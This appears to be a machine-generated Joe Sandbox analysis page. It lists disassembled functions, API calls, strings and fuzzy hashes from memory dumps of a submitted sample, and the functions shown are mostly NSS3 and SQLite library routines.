Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit$nLl
API String ID: 1003633598-669283324
Opcode ID: 987ff5ed41d563c598483714731e9ea84bec38aa0ded76a029a572117ebb14c4
Instruction ID: c12bcdbd6ab5d37749b3ab9b6f326215904f7b689404f0ca85ecb81d9c34b398
Opcode Fuzzy Hash: 987ff5ed41d563c598483714731e9ea84bec38aa0ded76a029a572117ebb14c4
Instruction Fuzzy Hash: C321D5347401689FDB00EB559D4EF9A37B5EB4A31CF46402AE50997F12DB309908CFA7

Function 6C3FECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C3FDE64), ref: 6C3FED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3FED22

Part of subcall function 6C40B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C4E18D0,?), ref: 6C40B095

PL_FreeArenaPool.NSS3(?), ref: 6C3FED4A
PL_FinishArenaPool.NSS3(?), ref: 6C3FED6B
PR_CallOnce.NSS3(6C512AA4,6C4112D0), ref: 6C3FED38

Part of subcall function 6C334C70: TlsGetValue.KERNEL32(?,?,?,6C333921,6C5114E4,6C47CC70), ref: 6C334C97
Part of subcall function 6C334C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C333921,6C5114E4,6C47CC70), ref: 6C334CB0
Part of subcall function 6C334C70: PR_Unlock.NSS3(?,?,?,?,?,6C333921,6C5114E4,6C47CC70), ref: 6C334CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C3FED52
PR_CallOnce.NSS3(6C512AA4,6C4112D0), ref: 6C3FED83
PL_FreeArenaPool.NSS3(?), ref: 6C3FED95
PL_FinishArenaPool.NSS3(?), ref: 6C3FED9D

Part of subcall function 6C4164F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C41127C,00000000,00000000,00000000), ref: 6C41650E

Strings

security, xrefs: 6C3FED06

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: a3996f9e4b51745c32de511a6634cf7147a2c946d1b19f40e589e03083cf6ec1
Instruction ID: 71ce8662f1b6f49144246efd61ab4ab06bcc49ae0346d5db6b51f6449b0532b4
Opcode Fuzzy Hash: a3996f9e4b51745c32de511a6634cf7147a2c946d1b19f40e589e03083cf6ec1
Instruction Fuzzy Hash: C61135719043146EE6109725AC44FFB7278EF4264CF010928F8A4A3E81E725A509CAFB

Function 6C4C0EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C3A2357), ref: 6C4C0EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C3A2357), ref: 6C4C0EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C4C0EE6

Part of subcall function 6C4C09D0: PR_Now.NSS3 ref: 6C4C0A22
Part of subcall function 6C4C09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C4C0A35
Part of subcall function 6C4C09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C4C0A66
Part of subcall function 6C4C09D0: PR_GetCurrentThread.NSS3 ref: 6C4C0A70
Part of subcall function 6C4C09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C4C0A9D
Part of subcall function 6C4C09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C4C0AC8
Part of subcall function 6C4C09D0: PR_vsmprintf.NSS3(?,?), ref: 6C4C0AE8
Part of subcall function 6C4C09D0: EnterCriticalSection.KERNEL32(?), ref: 6C4C0B19
Part of subcall function 6C4C09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C4C0B48
Part of subcall function 6C4C09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C4C0C76
Part of subcall function 6C4C09D0: PR_LogFlush.NSS3 ref: 6C4C0C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C4C0EFA

Part of subcall function 6C3AAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C3AAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C4C0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C4C0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C4C0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C4C0F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6C4C0ED9, 6C4C0EE5, 6C4C0F06, 6C4C0F0B
Aborting, xrefs: 6C4C0EB3

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 9d5df495811d5c120d7241476a98f05549203cb0ee3fedca66928b40eb475ce2
Instruction ID: 838173e70419e2df36fddeb1830b41df00ad89b140204b9838dd6f4adb4fcd6b
Opcode Fuzzy Hash: 9d5df495811d5c120d7241476a98f05549203cb0ee3fedca66928b40eb475ce2
Instruction Fuzzy Hash: 54F0A4F6A001547BEB00BB609C49C9B3E2DDF87264F054028FD0996602DB76E915D6F7

Function 6C424DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C424DCB

Part of subcall function 6C410FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C3B87ED,00000800,6C3AEF74,00000000), ref: 6C411000
Part of subcall function 6C410FF0: PR_NewLock.NSS3(?,00000800,6C3AEF74,00000000), ref: 6C411016
Part of subcall function 6C410FF0: PL_InitArenaPool.NSS3(00000000,security,6C3B87ED,00000008,?,00000800,6C3AEF74,00000000), ref: 6C41102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C424DE1

Part of subcall function 6C4110C0: TlsGetValue.KERNEL32(?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C4110F3
Part of subcall function 6C4110C0: EnterCriticalSection.KERNEL32(?,?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C41110C
Part of subcall function 6C4110C0: PL_ArenaAllocate.NSS3(?,?,?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C411141
Part of subcall function 6C4110C0: PR_Unlock.NSS3(?,?,?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C411182
Part of subcall function 6C4110C0: TlsGetValue.KERNEL32(?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C41119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C424DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C424E59

Part of subcall function 6C40FAB0: free.MOZGLUE(?,-00000001,?,?,6C3AF673,00000000,00000000), ref: 6C40FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C4E300C,00000000), ref: 6C424EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C424EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C424F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C42521A

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 1873a5f79da7ede23d759626839ecf3c98f164a8a3362dacf781d955028cf418
Instruction ID: 2690f8c7e056c8c4d4b9132d546511b28e3c77af367dd45c48c2f4dab6c854df
Opcode Fuzzy Hash: 1873a5f79da7ede23d759626839ecf3c98f164a8a3362dacf781d955028cf418
Instruction Fuzzy Hash: CEF1BD71E002098BDB04CF54D841FADB7B2FF84359F254129E915ABB84EB39E982CF90

Function 6C3B4FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6C500148,?,6C3C6FEC), ref: 6C3B502A
PR_NewLock.NSS3(00000001,00000000,6C500148,?,6C3C6FEC), ref: 6C3B5034
PL_NewHashTable.NSS3(00000000,6C40FE80,6C40FD30,6C45C350,00000000,00000000,00000001,00000000,6C500148,?,6C3C6FEC), ref: 6C3B5055
PL_NewHashTable.NSS3(00000000,6C40FE80,6C40FD30,6C45C350,00000000,00000000,?,00000001,00000000,6C500148,?,6C3C6FEC), ref: 6C3B506D

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 729dee0591a68f9393011d13ff264cf569b2318d2c428568f1052b8202e617f9
Instruction ID: be4d087b7de2d6391ca844f4665a7cc84045ca263d92a5d87bf74d8bc74913e4
Opcode Fuzzy Hash: 729dee0591a68f9393011d13ff264cf569b2318d2c428568f1052b8202e617f9
Instruction Fuzzy Hash: E53191B1B812109BEB10DB65CC4EB873678DB27728F464128E905A7E40D3769408CFEE

Function 6C2FAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C2FAC52
CreateFileMappingW.KERNEL32 ref: 6C2FAC7D
GetSystemInfo.KERNEL32 ref: 6C2FAC98
MapViewOfFile.KERNEL32 ref: 6C2FACB0
GetSystemInfo.KERNEL32 ref: 6C2FACCD
MapViewOfFile.KERNEL32 ref: 6C2FAD05
UnmapViewOfFile.KERNEL32 ref: 6C2FAD1C
CloseHandle.KERNEL32 ref: 6C2FAD28
UnmapViewOfFile.KERNEL32 ref: 6C2FAD37
CloseHandle.KERNEL32 ref: 6C2FAD43
CloseHandle.KERNEL32 ref: 6C2FAD67

Memory Dump Source

Source File: 00000000.00000002.2206661284.000000006C291000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C290000, based on PE: true

Associated: 00000000.00000002.2206605715.000000006C290000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206774883.000000006C30D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206835734.000000006C31E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206892942.000000006C322000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c290000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: bc3a082be5c71775a37cdec8316d81a6120664568858d30f5d857b91d168510a
Instruction ID: c234b40b6e9755b47ec6d9fbe0dae07b4b730906c28cbbde19cd443fd50c2c14
Opcode Fuzzy Hash: bc3a082be5c71775a37cdec8316d81a6120664568858d30f5d857b91d168510a
Instruction Fuzzy Hash: 36318FB1A04309CFDB00AF7CD64926EBBF4BF85309F014A2DE89587701EB709448CB92

Function 6C352E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C352F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C352FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C353005
memcpy.VCRUNTIME140(?,?,?), ref: 6C3530EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C353131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C353178

Strings

%s at line %d of [%.10s], xrefs: 6C353171
database corruption, xrefs: 6C35316C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C353022, 6C353156, 6C353162, 6C35318A, 6C353196, 6C3531A2, 6C3531AE, 6C3531BA, 6C3531C6

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 9863729d90a8eeef329e1dfaa96a146e276f95958ade769722fca7f72c9b2563
Instruction ID: 53865d6682ff0e1a0cd0f4d711d7bdc2f9b04872c2ba66255610f61dc8b3385a
Opcode Fuzzy Hash: 9863729d90a8eeef329e1dfaa96a146e276f95958ade769722fca7f72c9b2563
Instruction Fuzzy Hash: 53B1AF70E052199BCB08CFADC885EEEB7B1BF48304F54402AE855B7B41D3759952CFA4

Function 6C3A2D20 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C3A2D69

Strings

winUnmapfile2, xrefs: 6C3A2F7F
winTruncate1, xrefs: 6C3A2EBE
winUnmapfile1, xrefs: 6C3A2F55
Ll, xrefs: 6C3A2DD0
PLl, xrefs: 6C3A2E74, 6C3A2EC5, 6C3A2F32, 6C3A2F5C
@Ll, xrefs: 6C3A2E24
winSeekFile, xrefs: 6C3A2E9C
winTruncate2, xrefs: 6C3A2EF8

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: __allrem
String ID: @Ll$PLl$winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2$Ll
API String ID: 2933888876-4228028948
Opcode ID: d3d4dad6ef7a6290df043af350b6a119856d5328b77a347a879edd82c919044a
Instruction ID: b5c5b711642f86c35610929de27e207d6ca8a22e7b72dba7a0df05817c49945f
Opcode Fuzzy Hash: d3d4dad6ef7a6290df043af350b6a119856d5328b77a347a879edd82c919044a
Instruction Fuzzy Hash: B161A371B012059FDB04CFA5DD88EAA77B5FB49358F20412CE9199BB80DB32A816CF91

Function 6C3B0F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C3B0F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C3B0F84

Part of subcall function 6C40B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C4E18D0,?), ref: 6C40B095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C3CF59B,6C4D890C,?), ref: 6C3B0FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C3B0FC1

Part of subcall function 6C410BE0: malloc.MOZGLUE(6C408D2D,?,00000000,?), ref: 6C410BF8
Part of subcall function 6C410BE0: TlsGetValue.KERNEL32(6C408D2D,?,00000000,?), ref: 6C410C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C3B0FDB
PR_CallOnce.NSS3(6C512AA4,6C4112D0), ref: 6C3B0FEF
PL_FreeArenaPool.NSS3(?), ref: 6C3B1001
PL_FinishArenaPool.NSS3(?), ref: 6C3B1009

Strings

security, xrefs: 6C3B0F5C

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 18bcc8fb22255de97ca9021a40a4a119ec8ad1fdd5baedfa57939cf0a59deca6
Instruction ID: 77ca142324f2c1221416a4e84012df51b04e819ca84f10cbd8ef61c9ef9dba40
Opcode Fuzzy Hash: 18bcc8fb22255de97ca9021a40a4a119ec8ad1fdd5baedfa57939cf0a59deca6
Instruction Fuzzy Hash: EB21F5B1A04244ABE700DF24DD41EEA77B8EF55658F048528FC5896A01F732E515CBD2

Function 6C3B6DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C3B7D8F,6C3B7D8F,?,?), ref: 6C3B6DC8

Part of subcall function 6C40FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C40FE08
Part of subcall function 6C40FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C40FE1D
Part of subcall function 6C40FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C40FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C3B7D8F,?,?), ref: 6C3B6DD5

Part of subcall function 6C4110C0: TlsGetValue.KERNEL32(?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C4110F3
Part of subcall function 6C4110C0: EnterCriticalSection.KERNEL32(?,?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C41110C
Part of subcall function 6C4110C0: PL_ArenaAllocate.NSS3(?,?,?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C411141
Part of subcall function 6C4110C0: PR_Unlock.NSS3(?,?,?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C411182
Part of subcall function 6C4110C0: TlsGetValue.KERNEL32(?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C41119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C4D8FA0,00000000,?,?,?,?,6C3B7D8F,?,?), ref: 6C3B6DF7

Part of subcall function 6C40B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C4E18D0,?), ref: 6C40B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C3B6E35

Part of subcall function 6C40FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C40FE29
Part of subcall function 6C40FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C40FE3D
Part of subcall function 6C40FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C40FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C3B6E4C

Part of subcall function 6C4110C0: PL_ArenaAllocate.NSS3(?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C41116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C4D8FE0,00000000), ref: 6C3B6E82

Part of subcall function 6C3B6AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C3BB21D,00000000,00000000,6C3BB219,?,6C3B6BFB,00000000,?,00000000,00000000,?,?,?,6C3BB21D), ref: 6C3B6B01
Part of subcall function 6C3B6AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C3B6B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C3B6F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C3B6F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C4D8FE0,00000000), ref: 6C3B6F6B
PR_SetError.NSS3(FFFFE005,00000000,6C3B7D8F,?,?), ref: 6C3B6FE1

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 5a60e2f85f52d3765a054d94a47b67e57b999034fe642decb133eb4a322ddeb2
Instruction ID: 15cef879202b4cb69baf97af28062632792585cf9302b1c1e9685ec36c1dd085
Opcode Fuzzy Hash: 5a60e2f85f52d3765a054d94a47b67e57b999034fe642decb133eb4a322ddeb2
Instruction Fuzzy Hash: 23717E71E112469BEB04CF15CD40FAABBB8FF65348F154229E808E7A12E771E994CBD0

Function 6C3F0FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C3F1057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C3F1085
PK11_GetAllTokens.NSS3 ref: 6C3F10B1
free.MOZGLUE(?), ref: 6C3F1107
PR_SetError.NSS3(00000000,00000000), ref: 6C3F1172
free.MOZGLUE(?), ref: 6C3F1182
free.MOZGLUE(?), ref: 6C3F11A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C3F11C5

Part of subcall function 6C3F52C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C3CEAC5,00000001), ref: 6C3F52DF
Part of subcall function 6C3F52C0: EnterCriticalSection.KERNEL32(?), ref: 6C3F52F3
Part of subcall function 6C3F52C0: PR_Unlock.NSS3(?), ref: 6C3F5358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C3F11D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C3F11F3

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
